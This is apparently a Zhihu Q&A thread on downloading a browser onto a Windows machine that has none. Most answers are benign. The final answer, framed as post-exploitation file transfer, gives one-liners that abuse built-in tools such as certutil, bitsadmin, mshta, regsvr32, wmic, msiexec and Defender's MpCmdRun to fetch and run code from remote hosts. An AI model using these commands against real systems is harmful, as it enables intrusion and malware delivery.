微软最失败的地方(之一)就是:截至目前这个问题下有十三个回答了,居然没有一个人想起来Windows是有应用商店的。
连winget都有好几个人提了,都没人想到ms store,微软得好好反思一下。(评论说问题是win7的,说的好像winget就能在win7用似的)
(更骚的是,自己家商店里没有自己家的Edge)
如果是要怀旧的话,我告诉题主:当年,当互联网刚开始流行的时候,PC装机的最重要软件就是CuteFTP。
我们一般靠口口相传记住各大FTP站点。各企业与高校有不少FTP站点。同时,那时候的软件光盘也常常会印刷一些常见FTP站点的地址。
事实上,与现代的搜索引擎或者门户网站类似,当时也存在一些用于收录其它FTP站点列表的FTP站。你可以到那个FTP站点上去下载含有其它FTP站点列表的文件。
当时几乎所有的常用软件都可以从各大FTP站下载。包括IE跟Netscape。
所以这个问题的答案最常规的就是FTP。
--
由于当时的电脑不会标配电子邮件的软件,所以就算收邮件,也是需要先用ftp下载一个电子邮件客户端的。所以电子邮件并不算是标准方法。
不过,现在的操作系统都自带的电子邮件软件。所以,自然也可以通过电子邮件请他人发送软件过来。
--
基于http网页浏览器的文件下载站点,是很多年以后的事了。当时还是一件非常新奇的发现,而且由于它们的方便程度远远低于FTP,其实大家是不愿意用的。
http下载站其实只有一个好处:能放广告。而ftp站点属于纯公益。渐渐的,劣币驱逐了良币。ftp站点慢慢被人淡忘了。
以 FEDORA 为例 (对了,没有人禁止您在 WINDOWS 里安装虚拟机)
CHROME BROWSER
wget https://dl.google.com/linux/direct/google-chrome-stable_current_x86_64.rpm
dnf -y install ./google-chrome-stable_current_x86_64.rpm
OPERA
wget https://download3.operacdn.com/pub/opera/desktop/78.0.4093.112/linux/opera-stable_78.0.4093.112_amd64.rpm
dnf -y install ./opera-stable_78.0.4093.112_amd64.rpm
在 WINDOWS 里,
您可以用 EMAIL 客户端接收 URL
MicrosoftEdgeSetup.exe https://c2rsetup.officeapps.live.com/c2r/downloadEdge.aspx?platform=Default&source=EdgeStablePage&Channel=Stable&language=en
也可以用 VISUAL STUDIO 自己做一个简单的浏览器或者客户端。
最后用这个 DIY 的浏览器或者客户端下载 MicrosoftEdgeSetup.exe
您也可以在 WINDOWS 里架设自己的 SMB(SMB不用安装盘)/TFTP 服务器(光盘里有),
在手机上安装 TFTP / SMB 客户端,
然后从手机, 上载 MicrosoftEdgeSetup.exe 到 WINDOWS。
您也可以打开 WINDOWS 电脑的蓝牙, 通过蓝牙从手机, 上载 MicrosoftEdgeSetup.exe 到 。
您也可以打开 WINDOWS 电脑的红外通讯, 通过红外口从手机, 上载 MicrosoftEdgeSetup.exe 到 WINDOWS。
对于Windows 10 1803及以上版本,cURL现在默认在命令提示符中运行,所以你可以直接从那里使用它。把cURL的bin目录添加到Windows的PATH环境变量中,这样在命令提示符中输入curl时,Windows就能找到它。
通过在Windows运行对话框中运行systempropertiesadvanced(Windows键+R),打开 "高级系统属性 "对话框。点击 "环境变量 "按钮。可以通过右边的 "新建 "按钮。
C:UsersAdministrator>curl
curl:试试'curl --help'或'curl --manual'以获得更多信息
POWERSHELL?
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.1
https://medium.com/@PenTest_duck/almost-all-the-ways-to-file-transfer-1bd6bf710d65
Powershell
Powershell 是 cmd.exe 的高级版,有脚本功能。默认安装在 Windows 7和2008及后来版本。可用Powershell 单行程序从 HTTP 服务器上下载一个文件,像这样:
powershell -c (New-Object Net.WebClient).DownloadFile('http://ip-addr:port/file', 'output-file')
powershell -c (New-Object Net.WebClient).DownloadFile('http://ip-addr:port/file', 'output-file')
值得留意的是:
必须对 URL 和 输出文件 用‘单引号’,用“双引号”是会撞板的, 别浪费几个小时去排错了,这用错引号是一个典型的 ID10T 错误。
Certutil.exe
Certutil 是最简单的, 传输文件到 Windows 的法子。Certutil.exe 最初是用于证书和CA管理,但现在被*用为文件传输。一旦设置好了 HTTP 服务器(手机也能运行 HTTP SERVER),只须在目标上运行这个命令:
certutil -urlcache -split -f "http://ip-addr:port/file" [output-file]
VBScript
Visual Basic 脚本是另一种可来下载文件的东西。麻烦在于需要单独插入几十行命令来执行,尽管可以一次性复制粘贴,但还是很JB麻烦。 可是万一目标是WinXP或2003,用这法子可以救急。
下面是完整的脚本, 网上当然还有更好更牛屄的版本:
echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs echo Err.Clear >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs echo http.Open "GET", strURL, False >> wget.vbs echo http.Send >> wget.vbs echo varByteArray = http.ResponseBody >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs echo strData = "" >> wget.vbs echo strBuffer = "" >> wget.vbs echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs echo Next >> wget.vbs echo ts.Close >> wget.vbs
存盘以后, 就一条命令:
run cscript wget.vbs http://ip-addr:port/file output-file.
当然, 绕弯还可以绕得更大一些。用手机到 GITHUB 上复制粘贴别人的 JAVA 浏览器代码, 通过手机发给电脑。
https://github.com/StaceyWhitmore/simple-web-browser-in-java/blob/master/SimpleMiniWebBrowser.java
【未完待续】
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
俺没啥文化, 初中毕业,大伙都知道。俺不到一百万知友,才升10级。阅读总量没到一小步,不到一个亿的小目标。长期关注俺的知友知道, 俺不是专业的。俺也不是大佬。
俺是最业余的......笑话、神棍和论坛孤儿 ⚕
1、直接用telnet发送HTTP请求。
2、Windows还有一个巨型漏洞没人说,也就是那个HTML帮助浏览器,当年输入法漏洞就是这货搞出来的。
所以直接运行:
hh http://www.baidu.com
就完了……
好问题,这是一个典型的黑客问题,黑客最最常见的问题就是,在获取了一个非交互行shell之后,如何向目标电脑传递文件。
先介绍几种最常见的办法,也是之前很多答案提到过的办法。
powershell
powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/3gstudent/test/raw/master/putty.exe','c:downloada.exe');
certutil
certutil -urlcache -split -f http://github.com/3gstudent/test/raw/master/putty.exe C:WindowsTemp1.exe
bitsadmin
bitsadmin /transfer n http://github.com/3gstudent/test/raw/master/putty.exe c:downloada.exe
ftp
ftp 1.1.1.1 get test.txt
vbs
Set xPost = createObject("Microsoft.XMLHTTP") xPost.Open "GET","https://www.baidu.com/img/flexible/logo/pc/result.png",0 xPost.Send() Set sGet = createObject("ADODB.Stream") sGet.Mode = 3 sGet.Type = 1 sGet.Open() sGet.Write(xPost.responseBody) sGet.SaveToFile "D:1.png",2
保存为2.vbs双击即可。注意,vbs本质上是使用WScript.exe调用了Microsoft.XMLHTTP组件,在windows中,我们还有多种方式来调用Microsoft.XMLHTTP。
参考我以前写的文章
CScript/WScript
支持.wsh和.js后缀文件,同样可以调用Microsoft.XMLHTTP
1.wsh
<package> <job id="IncludeExample"> <script language="VBScript"> vbs code </script> </job> </package>
1.js
var xPost = new ActiveXObject("Microsoft.XMLHTTP"); xPost.Open("GET", "https://www.baidu.com/img/flexible/logo/pc/result.png", false); xPost.Send(); var sGet = new ActiveXObject("ADODB.Stream"); sGet.Mode = 3; sGet.Type = 1; sGet.Open(); sGet.Write(xPost.responseBody); sGet.SaveToFile("D:\1.png",2);
wmic
支持远程加载.xsl文件,可以调用Microsoft.XMLHTTP
wmic os get /FORMAT:"http://192.168.1.1/1.xsl"
Rundll32/Regsvr32/Cmstp
支持远程加载.sct文件,同样可以调用Microsoft.XMLHTTP
regsvr32.exe /n /u /i:http://192.168.1.1/test2.sct scrobj.dll rundll32 javascript:"..mshtml,RunHTMLApplication ";o=GetObject("script:http://192.168.1.1/test.sct");window.close(); cmstp /ni /s cmstp.inf
mshta
mshta http://192.168.1.1/1.hta
支持远程加载hta文件。xsl,sct,hta文件写法略过,和js基本一样不赘述。
csc
还有有答主提到过的,使用自带.net工具集csc.exe进行C#编译后下载文件
C:WindowsMicrosoft.NETFrameworkv4.0.30319csc.exe /out:"download.exe" /platform:anycpu "download.cs"
msiexec
同理,将安装程序打包成msi格式,可以用msiexec远程安装
msiexec /q /i http://192.168.1.1/1.msi
smb
\222.22.22.222
windows好用的smb协议自然也不能放过,虽然限定了局域网没有其他电脑,但公网smb一样可以使用。虽然因为大名鼎鼎的永恒之蓝,国内基本封掉了445端口。
MSBulidodbcconf等
建立在smb协议之上,更多的windows自带软件都可以进行远程加载文件
C:WindowsMicrosoft.NETFrameworkv4.0.30319msbuild.exe \222.22.22.222msbuild.xml Odbcconf /a {regsvr \222.22.22.2221.dll}
当然,毫无疑问,你当然也可以利用这些手法,直接让windows电脑进行木马上线,然后向里面PUT文件。
甚至还可以利用某版本的Windows Defender帮我们下载文件
C:ProgramDataMicrosoftWindows Defenderplatform4.18.2008.9-0MpCmdRun.exe -DownloadFile -url http://www.baidu.com/1.exe -path D:1.txt